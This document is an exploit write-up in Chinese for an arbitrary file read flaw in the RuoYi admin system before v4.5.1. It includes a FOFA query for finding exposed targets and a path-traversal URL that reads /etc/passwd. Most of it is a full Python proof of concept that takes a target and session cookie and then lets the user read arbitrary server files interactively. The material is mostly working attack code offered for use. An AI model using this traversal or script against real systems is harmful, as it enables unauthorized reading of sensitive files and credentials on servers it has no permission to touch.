若依(RuoYi)管理系統後台任意文件讀取漏洞

漏洞影響

RuoYi < v4.5.1

FOFA語法

app="若依-管理系统" && body="admin"

漏洞利用

訪問

https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd

這將下載文件/etc/passwd

可以使用Burp抓包改變/etc/passwd為其他文件路徑獲取敏感信息。

POC

import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():

   print('+------------------------------------------')
   print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
   print('+  \033[34mVersion: RuoYi < v4.5.1                                            \033[0m')
   print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
   print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
   print('+  \033[36mCookie      >>> JSESSIONID=xxxxxx                                   \033[0m')
   print('+  \033[36mFile        >>> /etc/passwd                                         \033[0m')
   print('+------------------------------------------')

def POC_1(target_url, Cookie):

   vuln_url = target_url + "/common/download/resource?resource=/profile/../../../../etc/passwd"
   headers = {
       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
       "Cookie":Cookie
   }
   try:
       requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
       response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
       print("\033[32m[o] 正在请求 {}//common/download/resource?resource=/profile/../../../../etc/passwd \033[0m".format(target_url))
       if "root" in response.text and response.status_code == 200:
           print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m".format(target_url))
           print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
           while True:
               Filename = input("\033[35mFile >>> \033[0m")
               if Filename == "exit":
                   sys.exit(0)
               else:
                   POC_2(target_url, Cookie, Filename)
       else:
           print("\033[31m[x] 请求失败 \033[0m")
           sys.exit(0)
   except Exception as e:
       print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, Cookie, Filename):

   vuln_url = target_url + "/common/download/resource?resource=/profile/../../../../{}".format(Filename)
   headers = {
       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
       "Cookie":Cookie
   }
   try:
       requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
       response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
       print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))

   except Exception as e:
       print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':

   title()
   target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
   Cookie = str(input("\033[35mCookie >>> \033[0m"))
   POC_1(target_url, Cookie)

參考

https://mp.weixin.qq.com/s/zrVTiHCCymlnrERrSJOUog